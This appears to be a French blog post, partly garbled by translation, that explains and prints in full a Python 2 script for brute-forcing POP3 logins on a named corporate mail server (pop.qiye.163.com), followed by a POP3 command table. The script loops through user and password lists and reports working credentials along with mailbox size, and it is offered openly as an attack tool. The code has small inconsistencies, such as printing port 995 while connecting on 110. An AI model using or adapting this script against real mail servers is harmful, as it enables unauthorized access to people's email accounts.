Selon la tâche confiée par le maître, j'ai écrit un script de dynamitage d'e-mails d'entreprise, suivi de FTP, SSH et d'autres scripts de dynamitage.
Permettez-moi d'abord de parler de l'idée générale :
L'idée générale est d'utiliser le module poplib de python pour interagir avec le serveur pop3 et générer des résultats basés sur les informations pertinentes obtenues. Le protocole POP3 n'est pas compliqué. Il utilise également une méthode de questions-réponses. Vous envoyez une commande au serveur, et le serveur répondra certainement par un message.
1. correct
Sys.argv[] est utilisé pour obtenir les paramètres de ligne de commande. sys.argv[0] représente le chemin du fichier du code lui-même, donc les paramètres commencent à 1
. 2. Lisez ensuite le fichier de mot de passe utilisateur Obtenez des informations
3.pop.getwelcome() est utilisé pour obtenir l'état de réponse du serveur de connexion
4 Vient ensuite la partie code principale du script
server = "pop.qiye.163.com" //设置pop3服务器地址 pop = poplib.POP3(server,110) //连接pop3服务器 pop.user(user) //验证用户名 auth = pop.pass_(passwd) //验证密码 if auth.split(' ')[0]== "+OK": //判断响应的结果是否“OK” pring user,passwd
#!/usr/bin/python # -*- coding: UTF-8 -*- ''' @Author:joy_nick @博客:http://byd.dropsec.xyz/ @Email Pop3 Brute Forcer ''' import threading, time, random, sys, poplib from copy import copy if len(sys.argv) !=3: print "\t --------------------------------------------------\n" print "\t Usage: ./Emailpopbrute.py <userlist> <passlist>\n" sys.exit(1) server = "pop.qiye.163.com" success = [] try: users = open(sys.argv[1], "r").readlines() except(IOError): print "[-] Error: urerlist打开失败!\n" sys.exit(1) try: words = open(sys.argv[2], "r").readlines() except(IOError): print "[-] Error: passlist打开失败!\n" sys.exit(1) try: pop = poplib.POP3(server,110) welcome = pop.getwelcome() print welcome pop.quit() except (poplib.error_proto): welcome = "No Response" pass def mailbruteforce(listuser,listpwd): if len(listuser) < 1 or len(listpwd) < 1 : print "An error occurred: No user or pass list" return 1 for user in listuser: for value in listpwd : user = user.replace("\n","") value = value.replace("\n","") try: print "-"*12 print "[+] User:",user,"Password:",value time.sleep(1) pop = poplib.POP3(server,110) pop.user(user) auth = pop.pass_(value) print auth if auth.split(' ')[0]!= "+OK" : pop.quit() print "unknown error !" continue if pop.stat()[1] is None or pop.stat()[1] < 1 : pop.quit() print "获取信息失败!" continue ret = (user,value,pop.stat()[0],pop.stat()[1]) success.append(ret) pop.quit() break except: #print "An error occurred:", msg pass print "\t --------------------------------------------------\n" print "[+] Server:",server print "[+] Port: 995" print "[+] Users Loaded:",len(users) print "[+] Words Loaded:",len(words) print "[+] Server response:",welcome,"\n" mailbruteforce(users,words) print "\t[+] have weakpass :\t",len(success) if len(success) >=1: for ret in success: print "\n\n[+] Login successful:",ret[0], ret[1] print "\t[+] Mail:",ret[2],"emails" print "\t[+] Size:",ret[3],"bytes\n" print "\n[-] Done"
------------------ -------------- -------------------------- ------------------------ ------
USER user username approuve le nom d'utilisateur si cette commande et la commande pass suivante sont. réussi, cela provoquera une transition d'état
PASS pass_ password approuve le mot de passe de l'utilisateur
APOP apop Name, Digest approuve le Digest est un résumé du message MD5
--------------- ----------------------------------- --------------- ----------------------------------- -
STAT stat Aucun Traite le serveur de requêtes pour renvoyer les statistiques à propos de la boîte aux lettres, comme le nombre total d'e-mails et le nombre total d'octets
UIDL uidl [Msg#] Traite l'identifiant unique de l'e-mail renvoyé, chaque identifiant de la session POP3 sera unique
LISTE liste [Msg#] gère le retour du nombre de messages et la taille de chaque message
RETR retr [Msg#] gère le retour du texte intégral du message identifié par le paramètre
DELE dele [Msg #] Le serveur de traitement marquera le mail identifié par le paramètre comme supprimé, exécuté par la commande quit
RSET rset None Le serveur de traitement réinitialisera tous les mails marqués pour suppression, utilisé pour annuler la commande DELE
TOP top [Msg#] traitement Le serveur renverra le n premières lignes de l'e-mail identifié par le paramètre. n doit être un entier positif
NOOP noop Aucun. Le serveur de traitement renvoie une réponse positive